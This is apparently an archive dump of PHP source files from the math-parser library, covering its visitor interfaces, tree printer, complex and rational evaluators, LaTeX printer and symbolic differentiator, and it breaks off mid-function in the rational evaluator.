MathParser::Interpreting::Visitors * Interfaces required to implement the visitor design pattern. * * Two interfaces are required: * - *Visitable* should be implemented by classes to be visited, i.e. subclasses of Node. * This interface consists of a single function `accept()`, called to visit the AST. * - *Visitor* should be implemented by AST transformers, and consists of one function * for each subclass of Node, i.e. `visitXXXNode()` */ namespace MathParser\Interpreting\Visitors; /** * * Visitable interface, * * Part of the visitor design pattern implementation. Every Node * implements the Visitable interface, containing the single function * accept() * * Implemented by the (abstract) Node class. * * ### Example * * ~~~{.php} * $node = new ExpressionNode(1, '+', 2); * $visitor = new TreePrinter(); // Or any other Visitor * $node->accept(); * ~~~ */ interface Visitable { /** * Single function in the Visitable interface * * Calling the accept() function on a Visitable class, * i.e. a Node (or subclass thereof) causes the supplied * Visitor to traverse the AST. * * @param Visitor $visitor **/ function accept(Visitor $visitor); } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Interpreting/Visitors/Visitor.php000064400000004105147600365160026700 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Interpreting\Visitors; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\VariableNode; use MathParser\Parsing\Nodes\FunctionNode; use MathParser\Parsing\Nodes\ConstantNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\RationalNode; /** * Visitor interface * * Implemented by every interpreter. The interface specifies * functions for visiting and handling each Node subclass. * */ interface Visitor { /** * Interface function for visiting ExpressionNodes * * @param ExpressionNode $node Node to visit. **/ function visitExpressionNode(ExpressionNode $node); /** * Interface function for visiting NumberNodes * * @param NumberNode $node Node to visit. **/ function visitNumberNode(NumberNode $node); /** * Interface function for visiting IntegerNodes * * @param IntegerNode $node Node to visit. **/ function visitIntegerNode(IntegerNode $node); /** * Interface function for visiting RationalNodes * * @param RationalNode $node Node to visit. **/ function visitRationalNode(RationalNode $node); /** * Interface function for visiting VariableNodes * * @param VariableNode $node Node to visit. **/ function visitVariableNode(VariableNode $node); /** * Interface function for visiting FunctionNode * * @param FunctionNode $node Node to visit. **/ function visitFunctionNode(FunctionNode $node); /** * Interface function for visiting ConstantNode * * @param ConstantNode $node Node to visit. **/ function visitConstantNode(ConstantNode $node); } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Interpreting/TreePrinter.php000064400000005442147600365160025667 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL */ namespace MathParser\Interpreting; use MathParser\Interpreting\Visitors\Visitor; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\VariableNode; use MathParser\Parsing\Nodes\FunctionNode; use MathParser\Parsing\Nodes\ConstantNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\RationalNode; /** * Simple string representation of an AST. Probably most * useful for debugging purposes. * * Implementation of a Visitor, transforming an AST into a string * representation of the tree. * * ## Example: * * ~~~{.php} * $parser = new StdMathParser(); * $f = $parser->parse('exp(2x)+xy'); * printer = new TreePrinter(); * result = $f->accept($printer); // Generates "(+ (exp (* 2 x)) (* x y))" * ~~~ */ class TreePrinter implements Visitor { /** * Print an ExpressionNode. * * @param ExpressionNode $node */ public function visitExpressionNode(ExpressionNode $node) { $leftValue = $node->getLeft()->accept($this); $operator = $node->getOperator(); // The operator and the right side are optional, remember? if (!$operator) return "$leftValue"; $right = $node->getRight(); if ($right) { $rightValue = $node->getRight()->accept($this); return "($operator, $leftValue, $rightValue)"; } else { return "($operator, $leftValue)"; } } /** * Print a NumberNode. * * @param NumerNode $node */ public function visitNumberNode(NumberNode $node) { $val = $node->getValue(); return "$val:float"; } public function visitIntegerNode(IntegerNode $node) { $val = $node->getValue(); return "$val:int"; } public function visitRationalNode(RationalNode $node) { $p = $node->getNumerator(); $q = $node->getDenominator(); return "$p/$q:rational"; } /** * Print a VariableNode. * * @param VariableNode $node */ public function visitVariableNode(VariableNode $node) { return $node->getName(); } /** * Print a FunctionNode. * * @param FunctionNode $node */ public function visitFunctionNode(FunctionNode $node) { $functionName = $node->getName(); $operand = $node->getOperand()->accept($this); return "$functionName($operand)"; } /** * Print a ConstantNode. * * @param ConstantNode $node */ public function visitConstantNode(ConstantNode $node) { return $node->getName(); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Interpreting/ComplexEvaluator.php000064400000021524147600365160026715 0ustar00 * @copyright 2016 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL */ namespace MathParser\Interpreting; use MathParser\Exceptions\UnknownConstantException; use MathParser\Exceptions\UnknownFunctionException; use MathParser\Exceptions\UnknownOperatorException; use MathParser\Exceptions\UnknownVariableException; use MathParser\Extensions\Complex; use MathParser\Interpreting\Visitors\Visitor; use MathParser\Lexer\StdMathLexer; use MathParser\Parsing\Nodes\ConstantNode; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\FunctionNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\Node; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\RationalNode; use MathParser\Parsing\Nodes\VariableNode; /** * Evalutate a parsed mathematical expression. * * Implementation of a Visitor, transforming an AST into a rational * number, giving the *value* of the expression represented by * the AST. * * The class implements evaluation of all all arithmetic operators * as well as every elementary function and predefined constant recognized * by StdMathLexer and StdmathParser. * * ## Example: * ~~~{.php} * $parser = new StdMathParser(); * $f = $parser->parse('exp(2x)+xy'); * $evaluator = new RationalEvaluator(); * $evaluator->setVariables([ 'x' => '1/2', 'y' => -1 ]); * result = $f->accept($evaluator); // Evaluate $f using x=1/2, y=-1. * Note that rational variable values should be specified as a string. * ~~~ * * TODO: handle user specified functions * */ class ComplexEvaluator implements Visitor { /** * mixed[] $variables Key/value pair holding current values * of the variables used for evaluating. * */ private $variables; /** * Constructor. Create an Evaluator with given variable values. * * @param mixed $variables key-value array of variables with corresponding values. */ public function __construct($variables = null) { $this->setVariables($variables); } /** * Update the variables used for evaluating * * @retval void * @param array $variables Key/value pair holding current variable values */ public function setVariables($variables) { $this->variables = []; foreach ($variables as $var => $value) { $this->variables[$var] = Complex::parse($value); } } /** * Evaluate an ExpressionNode * * Computes the value of an ExpressionNode `x op y` * where `op` is one of `+`, `-`, `*`, `/` or `^` * * `+`, `-`, `*`, `/` or `^` * @retval float * @param ExpressionNode $node AST to be evaluated * @throws UnknownOperatorException if the operator is something other than */ public function visitExpressionNode(ExpressionNode $node) { $operator = $node->getOperator(); $a = $node->getLeft()->accept($this); if ($node->getRight()) { $b = $node->getRight()->accept($this); } else { $b = null; } // Perform the right operation based on the operator switch ($operator) { case '+': return Complex::add($a, $b); case '-': if ($b === null) { return Complex::mul($a, -1); } return Complex::sub($a, $b); case '*': return Complex::mul($a, $b); case '/': return Complex::div($a, $b); case '^': // This needs to be improved. return Complex::pow($a, $b); default: throw new UnknownOperatorException($operator); } } /** * Evaluate a NumberNode * * Retuns the value of an NumberNode * * @retval float * @param NumberNode $node AST to be evaluated */ public function visitNumberNode(NumberNode $node) { return Complex::create($node->getValue(), 0); } public function visitIntegerNode(IntegerNode $node) { return Complex::create($node->getValue(), 0); } public function visitRationalNode(RationalNode $node) { return Complex::create("$node", 0); } /** * Evaluate a VariableNode * * Returns the current value of a VariableNode, as defined * either by the constructor or set using the `Evaluator::setVariables()` method. * * VariableNode is *not* set. * @retval float * @see Evaluator::setVariables() to define the variables * * @param VariableNode $node AST to be evaluated * @throws UnknownVariableException if the variable respresented by the */ public function visitVariableNode(VariableNode $node) { $name = $node->getName(); if (array_key_exists($name, $this->variables)) { return $this->variables[$name]; } throw new UnknownVariableException($name); } /** * Evaluate a FunctionNode * * Computes the value of a FunctionNode `f(x)`, where f is * an elementary function recognized by StdMathLexer and StdMathParser. * * FunctionNode is *not* recognized. * @retval float * @see \MathParser\Lexer\StdMathLexer StdMathLexer * @see \MathParser\StdMathParser StdMathParser * * @param FunctionNode $node AST to be evaluated * @throws UnknownFunctionException if the function respresented by the */ public function visitFunctionNode(FunctionNode $node) { $z = $node->getOperand()->accept($this); $a = $z->r(); $b = $z->i(); switch ($node->getName()) { // Trigonometric functions case 'sin': return Complex::sin($z); case 'cos': return Complex::cos($z); case 'tan': return Complex::tan($z); case 'cot': return Complex::cot($z); // Inverse trigonometric functions case 'arcsin': return Complex::arcsin($z); case 'arccos': return Complex::arccos($z); case 'arctan': return Complex::arctan($z); case 'arccot': return Complex::arccot($z); case 'sinh': return Complex::sinh($z); case 'cosh': return Complex::cosh($z); case 'tanh': return Complex::tanh($z); case 'coth': return Complex::div(1, Complex::tanh($z)); case 'arsinh': return Complex::arsinh($z); case 'arcosh': return Complex::arcosh($z); case 'artanh': return Complex::artanh($z); case 'arcoth': return Complex::div(1, Complex::artanh($z)); case 'exp': return Complex::exp($z); case 'ln': if ($z->i() != 0 || $z->r() <= 0) { throw new \UnexpectedValueException("Expecting positive real number (ln)"); } return Complex::log($z); case 'log': return Complex::log($z); case 'lg': return Complex::div(Complex::log($z), M_LN10); case 'sqrt': return Complex::sqrt($z); case 'abs': return new Complex($z->abs(), 0); case 'arg': return new Complex($z->arg(), 0); case 're': return new Complex($z->r(), 0); case 'im': return new Complex($z->i(), 0); case 'conj': return new Complex($z->r(), -$z->i()); default: throw new UnknownFunctionException($node->getName()); } return new FunctionNode($node->getName(), $inner); } /** * Evaluate a ConstantNode * * Returns the value of a ConstantNode recognized by StdMathLexer and StdMathParser. * * ConstantNode is *not* recognized. * @retval float * @see \MathParser\Lexer\StdMathLexer StdMathLexer * @see \MathParser\StdMathParser StdMathParser * * @param ConstantNode $node AST to be evaluated * @throws UnknownConstantException if the variable respresented by the */ public function visitConstantNode(ConstantNode $node) { switch ($node->getName()) { case 'pi': return new Complex(M_PI, 0); case 'e': return new Complex(M_E, 0); case 'i': return new Complex(0, 1); default: throw new UnknownConstantException($node->getName()); } } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Interpreting/LaTeXPrinter.php000064400000031034147600365160025741 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL */ namespace MathParser\Interpreting; use MathParser\Exceptions\UnknownConstantException; use MathParser\Interpreting\Visitors\Visitor; use MathParser\Lexing\StdMathLexer; use MathParser\Parsing\Nodes\ConstantNode; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\FunctionNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\Node; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\RationalNode; use MathParser\Parsing\Nodes\VariableNode; /** * Create LaTeX code for prettyprinting a mathematical expression * (for example via MathJax) * * Implementation of a Visitor, transforming an AST into a string * giving LaTeX code for the expression. * * The class in general does *not* generate the best possible LaTeX * code, and needs more work to be used in a production setting. * * ## Example: * ~~~{.php} * $parser = new StdMathParser(); * $f = $parser->parse('exp(2x)+xy'); * printer = new LaTeXPrinter(); * result = $f->accept($printer); // Generates "e^{2x}+xy" * ~~~ * * Note that surrounding `$`, `$$` or `\begin{equation}..\end{equation}` * has to be added manually. * */ class LaTeXPrinter implements Visitor { /** * StdMathLexer $lexer */ private $lexer; /** * Flag to determine if division should be typeset * with a solidus, e.g. x/y or a proper fraction \frac{x}{y} */ private $solidus = false; /** * Constructor. Create a LaTeXPrinter. */ public function __construct() { $this->lexer = new StdMathLexer(); } /** * Generate LaTeX code for an ExpressionNode * * Create a string giving LaTeX code for an ExpressionNode `(x op y)` * where `op` is one of `+`, `-`, `*`, `/` or `^` * * ### Typesetting rules: * * - Adds parentheses around each operand, if needed. (I.e. if their precedence * lower than that of the current Node.) For example, the AST `(^ (+ 1 2) 3)` * generates `(1+2)^3` but `(+ (^ 1 2) 3)` generates `1^2+3` as expected. * - Multiplications are typeset implicitly `(* x y)` returns `xy` or using * `\cdot` if the first factor is a FunctionNode or the (left operand) in the * second factor is a NumberNode, so `(* x 2)` return `x \cdot 2` and `(* (sin x) x)` * return `\sin x \cdot x` (but `(* x (sin x))` returns `x\sin x`) * - Divisions are typeset using `\frac` * - Exponentiation adds braces around the power when needed. * * @retval string * @param ExpressionNode $node AST to be typeset */ public function visitExpressionNode(ExpressionNode $node) { $operator = $node->getOperator(); $left = $node->getLeft(); $right = $node->getRight(); switch ($operator) { case '+': $leftValue = $left->accept($this); $rightValue = $this->parenthesize($right, $node); return "$leftValue+$rightValue"; case '-': if ($right) { // Binary minus $leftValue = $left->accept($this); $rightValue = $this->parenthesize($right, $node); return "$leftValue-$rightValue"; } else { // Unary minus $leftValue = $this->parenthesize($left, $node); return "-$leftValue"; } case '*': $operator = ''; if ($this->MultiplicationNeedsCdot($left, $right)) { $operator = '\cdot '; } $leftValue = $this->parenthesize($left, $node); $rightValue = $this->parenthesize($right, $node); return "$leftValue$operator$rightValue"; case '/': if ($this->solidus) { $leftValue = $this->parenthesize($left, $node); $rightValue = $this->parenthesize($right, $node); return "$leftValue$operator$rightValue"; } return '\frac{' . $left->accept($this) . '}{' . $right->accept($this) . '}'; case '^': $leftValue = $this->parenthesize($left, $node, '', true); // Typeset exponents with solidus $this->solidus = true; $result = $leftValue . '^' . $this->bracesNeeded($right); $this->solidus = false; return $result; } } /** * Check if a multiplication needs an inserted \cdot or if * it can be safely written with implicit multiplication. * * @retval bool * @param $left AST of first factor * @param $right AST of second factor */ private function MultiplicationNeedsCdot($left, $right) { if ($left instanceof FunctionNode) { return true; } if ($this->isNumeric($right)) { return true; } if ($right instanceof ExpressionNode && $this->isNumeric($right->getLeft())) { return true; } return false; } /** * Generate LaTeX code for a NumberNode * * Create a string giving LaTeX code for a NumberNode. Currently, * there is no special formatting of numbers. * * @retval string * @param NumberNode $node AST to be typeset */ public function visitNumberNode(NumberNode $node) { $val = $node->getValue(); return "$val"; } public function visitIntegerNode(IntegerNode $node) { $val = $node->getValue(); return "$val"; } public function visitRationalNode(RationalNode $node) { $p = $node->getNumerator(); $q = $node->getDenominator(); if ($q == 1) { return "$p"; } if ($this->solidus) { return "$p/$q"; } return "\\frac{{$p}}{{$q}}"; } /** * Generate LaTeX code for a VariableNode * * Create a string giving LaTeX code for a VariableNode. Currently, * there is no special formatting of variables. * * @retval string * @param VariableNode $node AST to be typeset */ public function visitVariableNode(VariableNode $node) { return $node->getName(); } /** * Generate LaTeX code for factorials * * @retval string * @param FunctionNode $node AST to be typeset */ private function visitFactorialNode(FunctionNode $node) { $functionName = $node->getName(); $op = $node->getOperand(); $operand = $op->accept($this); // Add parentheses most of the time. if ($this->isNumeric($op)) { if ($op->getValue() < 0) { $operand = "($operand)"; } } elseif ($op instanceof VariableNode || $op instanceof ConstantNode) { // Do nothing } else { $operand = "($operand)"; } return "$operand$functionName"; } /** * Generate LaTeX code for a FunctionNode * * Create a string giving LaTeX code for a functionNode. * * ### Typesetting rules: * * - `sqrt(op)` is typeset as `\sqrt{op} * - `exp(op)` is either typeset as `e^{op}`, if `op` is a simple * expression or as `\exp(op)` for more complicated operands. * * @retval string * @param FunctionNode $node AST to be typeset */ public function visitFunctionNode(FunctionNode $node) { $functionName = $node->getName(); $operand = $node->getOperand()->accept($this); switch ($functionName) { case 'sqrt': return "\\$functionName{" . $node->getOperand()->accept($this) . '}'; case 'exp': $operand = $node->getOperand(); if ($operand->complexity() < 10) { $this->solidus = true; $result = 'e^' . $this->bracesNeeded($operand); $this->solidus = false; return $result; } // Operand is complex, typset using \exp instead return '\exp(' . $operand->accept($this) . ')'; case 'ln': case 'log': case 'sin': case 'cos': case 'tan': case 'arcsin': case 'arccos': case 'arctan': break; case 'abs': $operand = $node->getOperand(); return '\lvert ' . $operand->accept($this) . '\rvert '; case '!': case '!!': return $this->visitFactorialNode($node); default: $functionName = 'operatorname{' . $functionName . '}'; } return "\\$functionName($operand)"; } /** * Generate LaTeX code for a ConstantNode * * Create a string giving LaTeX code for a ConstantNode. * `pi` typesets as `\pi` and `e` simply as `e`. * * @retval string * @param ConstantNode $node AST to be typeset * @throws UnknownConstantException for nodes representing other constants. */ public function visitConstantNode(ConstantNode $node) { switch ($node->getName()) { case 'pi': return '\pi{}'; case 'e': return 'e'; case 'i': return 'i'; case 'NAN': return '\operatorname{NAN}'; case 'INF': return '\infty{}'; default:throw new UnknownConstantException($node->getName()); } } /** * Add parentheses to the LaTeX representation of $node if needed. * * * node. Operands with a lower precedence have parentheses * added. * be added at the beginning of the returned string. * @retval string * @param Node $node The AST to typeset * @param ExpressionNode $cutoff A token representing the precedence of the parent * @param bool $addSpace Flag determining whether an additional space should */ public function parenthesize(Node $node, ExpressionNode $cutoff, $prepend = '', $conservative = false) { $text = $node->accept($this); if ($node instanceof ExpressionNode) { // Second term is a unary minus if ($node->getOperator() == '-' && $node->getRight() == null) { return "($text)"; } if ($cutoff->getOperator() == '-' && $node->lowerPrecedenceThan($cutoff)) { return "($text)"; } if ($node->strictlyLowerPrecedenceThan($cutoff)) { return "($text)"; } if ($conservative) { // Add parentheses more liberally for / and ^ operators, // so that e.g. x/(y*z) is printed correctly if ($cutoff->getOperator() == '/' && $node->lowerPrecedenceThan($cutoff)) { return "($text)"; } if ($cutoff->getOperator() == '^' && $node->getOperator() == '^') { return '{' . $text . '}'; } } } if ($this->isNumeric($node) && $node->getValue() < 0) { return "($text)"; } return "$prepend$text"; } /** * Add curly braces around the LaTex representation of $node if needed. * * Nodes representing a single ConstantNode, VariableNode or NumberNodes (0--9) * are returned as-is. Other Nodes get curly braces around their LaTeX code. * * @retval string * @param Node $node AST to parse */ public function bracesNeeded(Node $node) { if ($node instanceof VariableNode || $node instanceof ConstantNode) { return $node->accept($this); } elseif ($node instanceof IntegerNode && $node->getValue() >= 0 && $node->getValue() <= 9) { return $node->accept($this); } else { return '{' . $node->accept($this) . '}'; } } /** * Check if Node is numeric, i.e. a NumberNode, IntegerNode or RationalNode * * @retval bool * @param Node $node AST to check */ private function isNumeric(Node $node) { return ($node instanceof NumberNode || $node instanceof IntegerNode || $node instanceof RationalNode); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Interpreting/Differentiator.php000064400000032057147600365160026373 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL */ /** * @namespace MathParser::Interpreting * Namepace for the AST transformers implementing the Visitor interface. */ namespace MathParser\Interpreting; use MathParser\Exceptions\UnknownFunctionException; use MathParser\Exceptions\UnknownOperatorException; use MathParser\Interpreting\Visitors\Visitor; use MathParser\Parsing\Nodes\ConstantNode; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\Factories\NodeFactory; use MathParser\Parsing\Nodes\FunctionNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\Node; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\RationalNode; use MathParser\Parsing\Nodes\VariableNode; /** * Differentiate an abstract syntax tree (AST). * * Implementation of a Visitor, transforming an AST into another AST * representing the derivative of the original AST. * * The class implements differentiation rules for all arithmetic operators * as well as every elementary function recognized by StdMathLexer and * StdmathParser, handling for example the product rule and the chain * rule correctly. * * To keep the resulting AST reasonably simple, a number of simplification * rules are built in. * * ## Example: * * ~~~{.php} * $parser = new StdMathParser(); * $f = $parser->parse('exp(2x)+xy'); * $ddx = new Differentiator('x'); // Create a d/dx operator * $df = $f->accept($ddx); // $df now contains the AST of '2exp(2x)+y' * ~~~ * * TODO: handle user specified functions * */ class Differentiator implements Visitor { /** * Variable that we differentiate with respect to * * @var string $variable * */ protected $variable; /** * NodeFactory $nodeFactory used for building the resulting AST. */ protected $nodeFactory; /** * Class constructor * * @param string $variable Differentiation variable */ public function __construct($variable) { $this->variable = $variable; $this->nodeFactory = new NodeFactory(); } /** * Differentiate an ExpressionNode * * Using the usual rules for differentiating, create an ExpressionNode * giving an AST correctly representing the derivative `(x op y)'` * where `op` is one of `+`, `-`, `*`, `/` or `^` * * ### Differentiation rules: * * - \\( (f+g)' = f' + g' \\) * - \\( (f-g) ' = f' - g' \\) * - \\( (-f)' = -f' \\) * - \\( (f*g)' = f'g + f g' \\) * - \\( (f/g)' = (f' g - f g')/g^2 \\) * - \\( (f^g)' = f^g (g' \\log(f) + gf'/f) \\) with a simpler expression when g is a NumberNode * * `+`, `-`, `*`, `/` or `^` * @retval Node * @param ExpressionNode $node AST to be differentiated * @throws UnknownOperatorException if the operator is something other than */ public function visitExpressionNode(ExpressionNode $node) { $operator = $node->getOperator(); $leftValue = $node->getLeft()->accept($this); if ($node->getRight()) { $rightValue = $node->getRight()->accept($this); } else { $rightValue = null; } // Perform the right operation based on the operator switch ($operator) { case '+': return $this->nodeFactory->addition($leftValue, $rightValue); case '-': return $this->nodeFactory->subtraction($leftValue, $rightValue); // Product rule (fg)' = fg' + f'g case '*': return $this->nodeFactory->addition( $this->nodeFactory->multiplication($node->getLeft(), $rightValue), $this->nodeFactory->multiplication($leftValue, $node->getRight()) ); // Quotient rule (f/g)' = (f'g - fg')/g^2 case '/': $term1 = $this->nodeFactory->multiplication($leftValue, $node->getRight()); $term2 = $this->nodeFactory->multiplication($node->getLeft(), $rightValue); $numerator = $this->nodeFactory->subtraction($term1, $term2); $denominator = $this->nodeFactory->exponentiation($node->getRight(), new IntegerNode(2)); return $this->nodeFactory->division($numerator, $denominator); // f^g = exp(g log(f)), so (f^g)' = f^g (g'log(f) + g/f) case '^': $base = $node->getLeft(); $exponent = $node->getRight(); if ($exponent instanceof IntegerNode || $exponent instanceof NumberNode) { $power = $exponent->getValue(); $fpow = $this->nodeFactory->exponentiation($base, $power - 1); return $this->nodeFactory->multiplication($power, $this->nodeFactory->multiplication($fpow, $leftValue)); } elseif ($exponent instanceof RationalNode) { $newPower = new RationalNode($exponent->getNumerator() - $exponent->getDenominator(), $exponent->getDenominator()); $fpow = $this->nodeFactory->exponentiation($base, $newPower); return $this->nodeFactory->multiplication($exponent, $this->nodeFactory->multiplication($fpow, $leftValue)); } elseif ($base instanceof ConstantNode && $base->getName() == 'e') { return $this->nodeFactory->multiplication($rightValue, $node); } else { $term1 = $this->nodeFactory->multiplication($rightValue, new FunctionNode('ln', $base)); $term2 = $this->nodeFactory->division( $this->nodeFactory->multiplication($exponent, $base->accept($this)), $base); $factor2 = $this->nodeFactory->addition($term1, $term2); return $this->nodeFactory->multiplication($node, $factor2); } default: throw new UnknownOperatorException($operator); } } /** * Differentiate a NumberNode * * Create a NumberNode representing '0'. (The derivative of * a constant is indentically 0). * * @retval Node * @param NumberNode $node AST to be differentiated */ public function visitNumberNode(NumberNode $node) { return new IntegerNode(0); } public function visitIntegerNode(IntegerNode $node) { return new IntegerNode(0); } public function visitRationalNode(RationalNode $node) { return new IntegerNode(0); } /** * Differentiate a VariableNode * * Create a NumberNode representing '0' or '1' depending on * the differetiation variable. * * @retval Node * @param NumberNode $node AST to be differentiated */ public function visitVariableNode(VariableNode $node) { if ($node->getName() == $this->variable) { return new IntegerNode(1); } return new IntegerNode(0); } /** * Differentiate a FunctionNode * * Create an ExpressionNode giving an AST correctly representing the * derivative `f'` where `f` is an elementary function. * * ### Differentiation rules: * * \\( \\sin(f(x))' = f'(x) \\cos(f(x)) \\) * \\( \\cos(f(x))' = -f'(x) \\sin(f(x)) \\) * \\( \\tan(f(x))' = f'(x) (1 + \\tan(f(x))^2 \\) * \\( \\operatorname{cot}(f(x))' = f'(x) (-1 - \\operatorname{cot}(f(x))^2 \\) * \\( \\arcsin(f(x))' = f'(x) / \\sqrt{1-f(x)^2} \\) * \\( \\arccos(f(x))' = -f'(x) / \\sqrt{1-f(x)^2} \\) * \\( \\arctan(f(x))' = f'(x) / (1+f(x)^2) \\) * \\( \\operatorname{arccot}(f(x))' = -f'(x) / (1+f(x)^2) \\) * \\( \\exp(f(x))' = f'(x) \\exp(f(x)) \\) * \\( \\log(f(x))' = f'(x) / f(x) \\) * \\( \\ln(f(x))' = f'(x) / (\\log(10) * f(x)) \\) * \\( \\sqrt{f(x)}' = f'(x) / (2 \\sqrt{f(x)} \\) * \\( \\sinh(f(x))' = f'(x) \\cosh(f(x)) \\) * \\( \\cosh(f(x))' = f'(x) \\sinh(f(x)) \\) * \\( \\tanh(f(x))' = f'(x) (1-\\tanh(f(x))^2) \\) * \\( \\operatorname{coth}(f(x))' = f'(x) (1-\\operatorname{coth}(f(x))^2) \\) * \\( \\operatorname{arsinh}(f(x))' = f'(x) / \\sqrt{f(x)^2+1} \\) * \\( \\operatorname{arcosh}(f(x))' = f'(x) / \\sqrt{f(x)^2-1} \\) * \\( \\operatorname{artanh}(f(x))' = f'(x) (1-f(x)^2) \\) * \\( \\operatorname{arcoth}(f(x))' = f'(x) (1-f(x)^2) \\) * * one of the above * @retval Node * @param FunctionNode $node AST to be differentiated * @throws UnknownFunctionException if the function name doesn't match */ public function visitFunctionNode(FunctionNode $node) { $inner = $node->getOperand()->accept($this); $arg = $node->getOperand(); switch ($node->getName()) { case 'sin': $df = new FunctionNode('cos', $arg); break; case 'cos': $sin = new FunctionNode('sin', $arg); $df = $this->nodeFactory->unaryMinus($sin); break; case 'tan': $tansquare = $this->nodeFactory->exponentiation($node, 2); $df = $this->nodeFactory->addition(1, $tansquare); break; case 'cot': $cotsquare = $this->nodeFactory->exponentiation($node, 2); $df = $this->nodeFactory->subtraction($this->nodeFactory->unaryMinus(1), $cotsquare); break; case 'arcsin': $denom = new FunctionNode('sqrt', $this->nodeFactory->subtraction(1, $this->nodeFactory->exponentiation($arg, 2))); return $this->nodeFactory->division($inner, $denom); case 'arccos': $denom = new FunctionNode('sqrt', $this->nodeFactory->subtraction(1, $this->nodeFactory->exponentiation($arg, 2))); return $this->nodeFactory->division($this->nodeFactory->unaryMinus($inner), $denom); case 'arctan': $denom = $this->nodeFactory->addition(1, $this->nodeFactory->exponentiation($arg, 2)); return $this->nodeFactory->division($inner, $denom); case 'arccot': $denom = $this->nodeFactory->addition(1, $this->nodeFactory->exponentiation($arg, 2)); $df = $this->nodeFactory->unaryMinus($this->nodeFactory->division(1, $denom)); break; case 'exp': $df = new FunctionNode('exp', $arg); break; case 'ln': case 'log': return $this->nodeFactory->division($inner, $arg); case 'lg': $denominator = $this->nodeFactory->multiplication(new FunctionNode('ln', new IntegerNode(10)), $arg); return $this->nodeFactory->division($inner, $denominator); case 'sqrt': $denom = $this->nodeFactory->multiplication(2, $node); return $this->nodeFactory->division($inner, $denom); case 'sinh': $df = new FunctionNode('cosh', $arg); break; case 'cosh': $df = new FunctionNode('sinh', $arg); break; case 'tanh': $tanhsquare = $this->nodeFactory->exponentiation(new FunctionNode('tanh', $arg), 2); $df = $this->nodeFactory->subtraction(1, $tanhsquare); break; case 'coth': $cothsquare = $this->nodeFactory->exponentiation(new FunctionNode('coth', $arg), 2); $df = $this->nodeFactory->subtraction(1, $cothsquare); break; case 'arsinh': $temp = $this->nodeFactory->addition($this->nodeFactory->exponentiation($arg, 2), 1); return $this->nodeFactory->division($inner, new FunctionNode('sqrt', $temp)); case 'arcosh': $temp = $this->nodeFactory->subtraction($this->nodeFactory->exponentiation($arg, 2), 1); return $this->nodeFactory->division($inner, new FunctionNode('sqrt', $temp)); case 'artanh': case 'arcoth': $denominator = $this->nodeFactory->subtraction(1, $this->nodeFactory->exponentiation($arg, 2)); return $this->nodeFactory->division($inner, $denominator); case 'abs': $df = new FunctionNode('sgn', $arg); break; default: throw new UnknownFunctionException($node->getName()); } return $this->nodeFactory->multiplication($inner, $df); } /** * Differentiate a ConstantNode * * Create a NumberNode representing '0'. (The derivative of * a constant is indentically 0). * * @retval Node * @param ConstantNode $node AST to be differentiated */ public function visitConstantNode(ConstantNode $node) { if ($node->getName() == 'NAN') { return $node; } return new IntegerNode(0); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Interpreting/RationalEvaluator.php000064400000033454147600365160027064 0ustar00 * @copyright 2016 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL */ namespace MathParser\Interpreting; use MathParser\Exceptions\DivisionByZeroException; use MathParser\Exceptions\UnknownConstantException; use MathParser\Exceptions\UnknownFunctionException; use MathParser\Exceptions\UnknownOperatorException; use MathParser\Exceptions\UnknownVariableException; use MathParser\Extensions\Math; use MathParser\Interpreting\Visitors\Visitor; use MathParser\Lexer\StdMathLexer; use MathParser\Parsing\Nodes\ConstantNode; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\FunctionNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\Node; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\RationalNode; use MathParser\Parsing\Nodes\VariableNode; /** * Evalutate a parsed mathematical expression. * * Implementation of a Visitor, transforming an AST into a rational * number, giving the *value* of the expression represented by * the AST. * * The class implements evaluation of all all arithmetic operators * as well as every elementary function and predefined constant recognized * by StdMathLexer and StdmathParser. * * ## Example: * ~~~{.php} * $parser = new StdMathParser(); * $f = $parser->parse('exp(2x)+xy'); * $evaluator = new RationalEvaluator(); * $evaluator->setVariables([ 'x' => '1/2', 'y' => -1 ]); * result = $f->accept($evaluator); // Evaluate $f using x=1/2, y=-1. * Note that rational variable values should be specified as a string. * ~~~ * * TODO: handle user specified functions * */ class RationalEvaluator implements Visitor { /** * mixed[] $variables Key/value pair holding current values * of the variables used for evaluating. * */ private $variables; /** * Constructor. Create an Evaluator with given variable values. * * @param mixed $variables key-value array of variables with corresponding values. */ public function __construct($variables = null) { $this->setVariables($variables); } private function isInteger($value) { return preg_match('~^\d+$~', $value); } private function isSignedInteger($value) { return preg_match('~^\-?\d+$~', $value); } public function parseRational($value) { $data = $value; $numbers = 